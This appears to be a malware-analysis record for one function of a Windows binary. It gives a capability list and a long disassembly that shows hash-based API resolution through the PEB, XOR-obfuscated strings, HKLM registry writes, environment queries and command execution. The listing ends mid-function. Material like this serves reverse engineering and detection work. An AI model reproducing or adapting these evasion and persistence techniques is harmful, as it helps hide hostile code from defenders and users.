Function at 0x7ff698f8a1f0
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get kernel32 base address
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x4f8]
sub rsp, 0x5e0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x7ff69902b080]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
lea rcx, [0x7ff6990561f9]
call fcn.7ff698f532b0
test al, al
jne 0x7ff698f8a68a
lea rdx, [rsp + 0x48]
call fcn.7ff698f81dc0
lea rdx, [rbp + 0x170]
mov r14, rax
call fcn.7ff698f8cea0
mov rcx, qword gs:[0x60]
mov r15, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff698f8a2e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff698f8a2e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xeaeee883
lea rax, [r10 + r9*4]
mov eax, dword [rax + rbx]
add rax, r10
movzx edx, byte [rax]
inc rax
test dl, dl
je 0x7ff698f8a2e2
nop dword [rax]
movsx edx, dl
lea rax, [rax + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rax - 1]
test dl, dl
jne 0x7ff698f8a2c0
cmp r8d, 0x72276c22
je 0x7ff698f8a2ec
test r9d, r9d
jne 0x7ff698f8a2a0
mov rcx, qword [rcx]
jmp 0x7ff698f8a270
mov ecx, dword [rdi + 0x24]
movzx eax, byte [r14 + 5]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
test al, al
je 0x7ff698f8a32b
xor byte [r14], 0x39
xor byte [r14 + 1], 0x3a
xor byte [r14 + 2], 0x3b
xor byte [r14 + 3], 0x3c
xor byte [r14 + 4], 0x3d
xor al, 0x3e
mov byte [r14 + 5], al
mov ebx, dword [0x7ff69902b0d0]
xor esi, esi
cmp byte [r15 + 0x96], sil
je 0x7ff698f8a4d3
mov r8d, esi
cmp ebx, 2
jl 0x7ff698f8a48d
movdqa xmm0, xmmword [0x7ff699015a20]
mov rcx, r15
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x90
jl 0x7ff698f8a380
cmp r8d, 0x97
jge 0x7ff698f8a4d3
movsxd r9, r8d
add r9, r15
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x7ff698f8a4a0
xor r9d, r9d
mov r8, r14
mov rdx, r15
xor ecx, ecx
call r11
lea rdx, [rbp + 0x20]
call fcn.7ff698f8cf50
mov r9, rax
cmp byte [rax + 0xd], sil
je 0x7ff698f8a63d
cmp ebx, 2
jl 0x7ff698f8a5fd
movdqa xmm2, xmmword [0x7ff6990158f0]
mov esi, 8
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff699015910]
movdqa xmm0, xmm2
mov eax, dword [0x7ff699015a20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r9], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
movsxd r8, esi
add r8, r9
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, sil
inc esi
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp esi, 0xe
jl 0x7ff698f8a610
lea rdx, [rbp + 0xe8]
call fcn.7ff698f8cf30
movzx ecx, byte [rax + 4]
test cl, cl
je 0x7ff698f8a666
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor cl, 0x3d
mov byte [rax + 4], cl
mov r8, r9
mov rdx, rax
call fcn.7ff698f5fe10
call fcn.7ff698f4f1a0
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll_exit]
int3
mov rax, qword [0x7ff699013040]
xor esi, esi
cmp byte [0x7ff699013047], sil
mov qword [rsp + 0x600], r12
mov r12d, dword [0x7ff69902b0d0]
mov qword [rbp + 0xe0], rax
je 0x7ff698f8a800
cmp r12d, 2
jl 0x7ff698f8a7c4
movdqa xmm2, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff699015910]
movdqa xmm0, xmm2
mov eax, dword [0x7ff699015a20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
movd xmm1, dword [rbp + 0xe0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rbp + 0xe0], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
movd xmm1, dword [rbp + 0xe4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
jmp 0x7ff698f8a800
lea r9, [rbp + 0xe0]
mov r8d, esi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x7ff698f8a7d0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ucrtbase.dll_getenv]
mov r14, 0xffffffffffffffff
mov rdi, rax
mov rbx, r14
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], sil
jne 0x7ff698f8a820
call fcn.7ff698fe8efc
lea r8, [rsp + 0x70]
mov qword [rsp + 0x70], rdi
mov edx, eax
mov qword [rsp + 0x78], rbx
lea rcx, [rbp + 0x130]
call fcn.7ff698f4c3c0
movzx eax, byte [0x7ff699014568]
mov rbx, r14
movsd xmm0, qword [0x7ff699014560]
movsd qword [rsp + 0x38], xmm0
xor byte [rsp + 0x39], 0x3a
xor byte [rsp + 0x3a], 0x3b
xor byte [rsp + 0x3b], 0x3c
xor byte [rsp + 0x3c], 0x3d
xor byte [rsp + 0x3d], 0x3e
xor byte [rsp + 0x3e], 0x3f
xor byte [rsp + 0x3f], 0x40
xor al, 0x41
mov byte [rsp + 0x38], 0x63
mov byte [rsp + 0x40], al
lea rax, [rsp + 0x38]
inc rbx
cmp byte [rax + rbx], sil
jne 0x7ff698f8a896
call fcn.7ff698fe8efc
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x70], rcx
lea r8, [rsp + 0x70]
lea rcx, [rbp + 0x30]
mov edx, eax
call fcn.7ff698f4c3c0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x110]
call fcn.7ff698f4c560
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x110]
call fcn.7ff698f4ec80
lea rcx, [rbp + 0x30]
call fcn.7ff698f457e0
movzx eax, byte [0x7ff6990151a0]
movsd xmm0, qword [0x7ff699015198]
xor al, 0x41
movsd qword [rsp + 0x38], xmm0
xor byte [rsp + 0x39], 0x3a
xor byte [rsp + 0x3a], 0x3b
xor byte [rsp + 0x3b], 0x3c
xor byte [rsp + 0x3c], 0x3d
xor byte [rsp + 0x3d], 0x3e
xor byte [rsp + 0x3e], 0x3f
xor byte [rsp + 0x3f], 0x40
cmp qword [rbp + 0x128], 7
mov byte [rsp + 0x40], al
lea rax, [rbp + 0x110]
cmova rax, qword [rbp + 0x110]
mov qword [rsp + 0x70], rax
mov rax, qword [rbp + 0x120]
mov qword [rsp + 0x78], rax
mov byte [rsp + 0x38], 0x5c
call fcn.7ff698fe8efc
movaps xmm0, xmmword [rsp + 0x70]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp]
call fcn.7ff698f4e380
lea rax, [rsp + 0x38]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x7ff698f8a986
lea rdx, [rsp + 0x38]
lea rcx, [rbp]
call fcn.7ff698f3d460
mov qword [rbp - 0x10], rsi
lea rbx, [rbp - 0x20]
mov qword [rbp - 8], rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
cmp qword [rbp - 8], 0xf
mov rdi, qword [rbp - 0x10]
cmova rbx, qword [rbp - 0x20]
call fcn.7ff698fe8efc
lea r8, [rsp + 0x70]
mov qword [rsp + 0x70], rbx
mov edx, eax
mov qword [rsp + 0x78], rdi
lea rcx, [rbp + 0x30]
call fcn.7ff698f4c3c0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.7ff698f4f070
movsd xmm0, qword [rax]
mov ecx, dword [rax + 8]
lea rax, [0x7ff699054d38]
mov qword [rsp + 0x78], rax
movsd qword [rbp + 0x20], xmm0
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x70], ecx
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0xf0], xmm0
test eax, eax
je 0x7ff698f8ad2c
cmp eax, 1
setne bl
lea rcx, [rbp + 0x30]
call fcn.7ff698f457e0
lea rcx, [rbp - 0x20]
call fcn.7ff698f3d390
lea rcx, [rbp]
call fcn.7ff698f3d390
test bl, bl
jne 0x7ff698f8c566
movzx eax, word [0x7ff699015218]
mov r8d, esi
mov word [rbp - 0x50], ax
movzx eax, byte [0x7ff69901521a]
mov byte [rbp - 0x4e], al
mov dword [rbp + 0xe8], esi
movups xmm0, xmmword [0x7ff6990151f8]
movups xmm1, xmmword [0x7ff699015208]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r12d, 2
jl 0x7ff698f8abd8
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x7ff698f8aad1
cmp r8d, 0x23
jge 0x7ff698f8ac20
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x7ff698f8abf0
lea rax, [rbp + 0xe0]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7ff698f8b6be
mov eax, dword [0x7ff699012dc4]
movups xmm0, xmmword [0x7ff699015280]
movups xmm1, xmmword [0x7ff699015290]
mov dword [rsp + 0x50], eax
movzx eax, word [0x7ff699012dc8]
mov word [rsp + 0x54], ax
movzx eax, byte [0x7ff6990152c0]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x7ff6990152a0]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x7ff6990152b0]
mov byte [rbp - 0x30], al
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff698f8ad27
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff698f8ad27
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x865038d8
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff698f8ad22
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff698f8ad00
cmp r8d, 0x7e9d54c3
je 0x7ff698f8ad3b
test r9d, r9d
jne 0x7ff698f8ace0
mov rax, qword [rax]
jmp 0x7ff698f8acb0
xor bl, bl
test ecx, ecx
jne 0x7ff698f8ce82
jmp 0x7ff698f8aa42
mov ecx, dword [rdi + 0x24]
mov r8d, esi
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x51], 0x3a
add r11, r10
xor byte [rsp + 0x52], 0x3b
xor byte [rsp + 0x53], 0x3c
xor byte [rsp + 0x54], 0x3d
xor byte [rsp + 0x55], 0x3e
mov byte [rsp + 0x50], 0x43
cmp r12d, 2
jl 0x7ff698f8aeb7
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x7ff698f8adb0
cmp r8d, 0x41
jge 0x7ff698f8af00
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x7ff698f8aed0
xor r9d, r9d
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call r11
movups xmm1, xmmword [0x7ff6990151e8]
movups xmm0, xmmword [0x7ff6990151d8]
movups xmmword [rbp - 0x10], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp - 0x20], xmm0
test al, al
je 0x7ff698f8b0c0
cmp r12d, 2
jl 0x7ff698f8b081
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp - 0x1c]
movdqa xmm5, xmmword [0x7ff6990158f0]
mov edx, esi
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x7ff698f8af80
jmp 0x7ff698f8b0c0
lea r9, [rbp - 0x20]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x7ff698f8b090
mov rcx, qword [rbp + 0xe0]
lea rax, [rbp + 0xe8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x20]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.advapi32.dll_RegSetValueExA]
test eax, eax
je 0x7ff698f8b3f2
mov eax, dword [0x7ff699012dc4]
movups xmm0, xmmword [0x7ff699015178]
mov dword [rsp + 0x30], eax
movzx eax, word [0x7ff699012dc8]
mov word [rsp + 0x34], ax
movzx eax, word [0x7ff699015190]
movups xmmword [rbp + 0xf0], xmm0
mov word [rbp + 0x108], ax
movsd xmm0, qword [0x7ff699015188]
movsd qword [rbp + 0x100], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff698f8b1c7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff698f8b1c7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x38a14ae2
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff698f8b1c2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff698f8b1a0
cmp r8d, 0xe3f0a425
je 0x7ff698f8b1cc
test r9d, r9d
jne 0x7ff698f8b180
mov rax, qword [rax]
jmp 0x7ff698f8b150
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x31], 0x3a
add r11, r10
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor byte [rsp + 0x34], 0x3d
xor byte [rsp + 0x35], 0x3e
mov byte [rsp + 0x30], 0x43
cmp r12d, 2
jl 0x7ff698f8b344
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rbp + 0xf4]
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add esi, 8
pmuldq xmm1, xmm4
mov eax, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp esi, 0x18
jl 0x7ff698f8b240
cmp eax, 0x1a
jge 0x7ff698f8b37e
movsxd rax, esi
lea r8, [rbp + 0xf0]
add r8, rax
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul esi
sar edx, 1
mov eax, edx
